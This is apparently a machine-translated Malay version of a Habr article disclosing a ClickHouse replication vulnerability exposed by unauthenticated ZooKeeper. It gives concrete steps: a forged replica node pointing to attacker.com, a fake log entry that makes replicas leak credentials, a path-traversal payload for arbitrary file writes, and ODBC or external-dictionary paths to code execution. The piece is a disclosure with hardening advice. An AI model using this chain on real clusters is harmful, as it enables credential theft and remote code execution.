Mengapa anda perlu menutup sangkar zoo?

Mengapa anda perlu menutup sangkar zoo?

Artikel ini akan menceritakan kisah tentang kelemahan yang sangat khusus dalam protokol replikasi ClickHouse, dan juga akan menunjukkan bagaimana permukaan serangan boleh dikembangkan.

ClickHouse ialah pangkalan data untuk menyimpan jumlah data yang besar, selalunya menggunakan lebih daripada satu replika. Pengelompokan dan replikasi dalam ClickHouse dibina di atas Penjaga Zoo Apache (ZK) dan memerlukan hak tulis.

Pemasangan ZK lalai tidak memerlukan pengesahan, jadi beribu-ribu pelayan ZK yang digunakan untuk mengkonfigurasi Kafka, Hadoop, ClickHouse tersedia untuk umum.

Untuk mengurangkan permukaan serangan anda, anda harus sentiasa mengkonfigurasi pengesahan dan kebenaran apabila memasang ZooKeeper

Sudah tentu terdapat beberapa penyahserialisasian Java berasaskan 0hari, tetapi bayangkan bahawa penyerang boleh membaca dan menulis kepada ZooKeeper, digunakan untuk replikasi ClickHouse.

Apabila dikonfigurasikan dalam mod kluster, ClickHouse menyokong pertanyaan yang diedarkan DDL, melalui ZK - untuk mereka nod dicipta dalam helaian /clickhouse/task_queue/ddl.

Sebagai contoh, anda membuat nod /clickhouse/task_queue/ddl/query-0001 dengan kandungan:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

dan selepas itu, jadual ujian akan dipadamkan pada pelayan kluster hos1 dan hos2. DDL juga menyokong menjalankan pertanyaan CREATE/ALTER/DROP.

Bunyi menakutkan? Tetapi di manakah penyerang boleh mendapatkan alamat pelayan?

Replikasi ClickHouse berfungsi pada peringkat jadual individu, supaya apabila jadual dibuat dalam ZK, pelayan ditentukan yang akan bertanggungjawab untuk menukar metadata dengan replika. Contohnya, apabila melaksanakan permintaan (ZK mesti dikonfigurasikan, chXX - nama replika, foobar - nama jadual):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

nod akan dibuat lajur ΠΈ metadata.

Kandungan /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Adakah mungkin untuk menggabungkan data daripada kluster ini? Ya, jika port replikasi (TCP/9009) pada pelayan chXX-address firewall tidak akan ditutup dan pengesahan untuk replikasi tidak akan dikonfigurasikan. Bagaimana untuk memintas pengesahan?

Penyerang boleh mencipta replika baharu dalam ZK dengan hanya menyalin kandungan daripada /clickhouse/tables/01-01/foobar/replicas/chXX dan mengubah makna host.

Kandungan /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Kemudian anda perlu memberitahu replika lain bahawa terdapat blok data baharu pada pelayan penyerang yang perlu mereka ambil - nod dibuat dalam ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (Kaunter pertumbuhan monoton XX, yang sepatutnya lebih besar daripada yang terakhir dalam log peristiwa):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

mana replika_sumber β€” nama replika penyerang yang dibuat dalam langkah sebelumnya, block_id - pengecam blok data, mendapatkan - arahan "dapatkan blok" (dan berikut adalah arahan untuk operasi lain).

Seterusnya, setiap replika membaca peristiwa baharu dalam log dan pergi ke pelayan yang dikawal oleh penyerang untuk menerima blok data (protokol replikasi adalah binari, berjalan di atas HTTP). Pelayan attacker.com akan menerima permintaan:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

dengan XXX ialah data pengesahan untuk replikasi. Dalam sesetengah kes, ini mungkin akaun dengan akses kepada pangkalan data melalui protokol ClickHouse utama dan protokol HTTP. Seperti yang anda lihat, permukaan serangan menjadi sangat besar kerana ZooKeeper, yang digunakan untuk replikasi, dibiarkan tanpa dikonfigurasikan pengesahan.

Mari kita lihat fungsi mendapatkan blok data daripada replika, ia ditulis dengan penuh keyakinan bahawa semua replika berada di bawah kawalan yang betul dan terdapat kepercayaan antara mereka.

Mengapa anda perlu menutup sangkar zoo?
kod pemprosesan replikasi

Fungsi membaca senarai fail, kemudian nama, saiz, kandungannya, dan kemudian menulisnya ke sistem fail. Perlu diterangkan secara berasingan cara data disimpan dalam sistem fail.

Terdapat beberapa subdirektori dalam /var/lib/clickhouse (direktori storan lalai daripada fail konfigurasi):

bendera - direktori untuk rakaman bendera, digunakan dalam pemulihan selepas kehilangan data;
tmp β€” direktori untuk menyimpan fail sementara;
fail_pengguna β€” operasi dengan fail dalam permintaan adalah terhad kepada direktori ini (INTO OUTFILE dan lain-lain);
metadata β€” fail sql dengan penerangan jadual;
preprocessed_configs - fail konfigurasi terbitan diproses daripada /etc/clickhouse-server;
data - direktori sebenar dengan data itu sendiri, dalam kes ini untuk setiap pangkalan data subdirektori berasingan hanya dibuat di sini (contohnya /var/lib/clickhouse/data/default).

Untuk setiap jadual, subdirektori dicipta dalam direktori pangkalan data. Setiap lajur adalah fail berasingan bergantung pada format enjin. Contohnya untuk meja foobardicipta oleh penyerang, fail berikut akan dibuat:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Replika menjangkakan untuk menerima fail dengan nama yang sama semasa memproses blok data dan tidak mengesahkannya dalam apa jua cara.

Pembaca yang penuh perhatian mungkin telah mendengar tentang gabungan nama_fail yang tidak selamat dalam fungsi WriteBufferFromFile. Ya, ini membolehkan penyerang menulis kandungan sewenang-wenangnya ke mana-mana fail pada FS dengan hak pengguna clickhouse. Untuk melakukan ini, replika yang dikawal oleh penyerang mesti mengembalikan respons berikut kepada permintaan (pemutus baris telah ditambahkan untuk memudahkan pemahaman):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

dan selepas penyatuan ../../../../../../../../../tmp/pwned fail akan ditulis /tmp/pwned dengan kandungan hellofromzookeeper.

Terdapat beberapa pilihan untuk menukar keupayaan menulis fail kepada pelaksanaan kod jauh (RCE).

Kamus luar dalam RCE

Dalam versi yang lebih lama, direktori dengan tetapan ClickHouse disimpan dengan hak pengguna clickhouse lalai. Fail tetapan ialah fail XML yang dibaca oleh perkhidmatan pada permulaan dan kemudian disimpan dalam cache /var/lib/clickhouse/preprocessed_configs. Apabila perubahan berlaku, ia dibaca semula. Jika anda mempunyai akses kepada /etc/clickhouse-server penyerang boleh mencipta sendiri kamus luar jenis boleh laku dan kemudian laksanakan kod arbitrari. Versi semasa ClickHouse tidak menyediakan hak secara lalai, tetapi jika pelayan dikemas kini secara beransur-ansur, hak tersebut boleh kekal. Jika anda menyokong kluster ClickHouse, semak hak untuk direktori tetapan, ia mestilah milik pengguna root.

ODBC kepada RCE

Apabila memasang pakej, pengguna dicipta clickhouse, tetapi direktori rumahnya tidak dibuat /nonexistent. Walau bagaimanapun, apabila menggunakan kamus luaran, atau atas sebab lain, pentadbir mencipta direktori /nonexistent dan berikan pengguna clickhouse akses untuk menulis kepadanya (SSZB! lebih kurang penterjemah).

ClickHouse menyokong ODBC dan boleh menyambung ke pangkalan data lain. Dalam ODBC, anda boleh menentukan laluan ke pustaka pemacu pangkalan data (.so). Versi lama ClickHouse membenarkan anda melakukan ini secara terus dalam pengendali permintaan, tetapi kini pemeriksaan yang lebih ketat bagi rentetan sambungan telah ditambahkan pada odbc-bridge, jadi tidak mungkin lagi untuk menentukan laluan pemandu daripada permintaan. Tetapi bolehkah penyerang menulis ke direktori rumah menggunakan kelemahan yang diterangkan di atas?

Mari buat fail ~/.odbc.ini dengan kandungan seperti ini:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

kemudian pada permulaan SELECT * FROM odbc('DSN=lalala', 'test', 'test'); perpustakaan akan dimuatkan test.so dan menerima RCE (terima kasih buglloc untuk petua).

Ini dan kelemahan lain telah diperbaiki dalam ClickHouse versi 19.14.3. Jaga ClickHouse dan ZooKeepers anda!

Sumber: www.habr.com

Tambah komen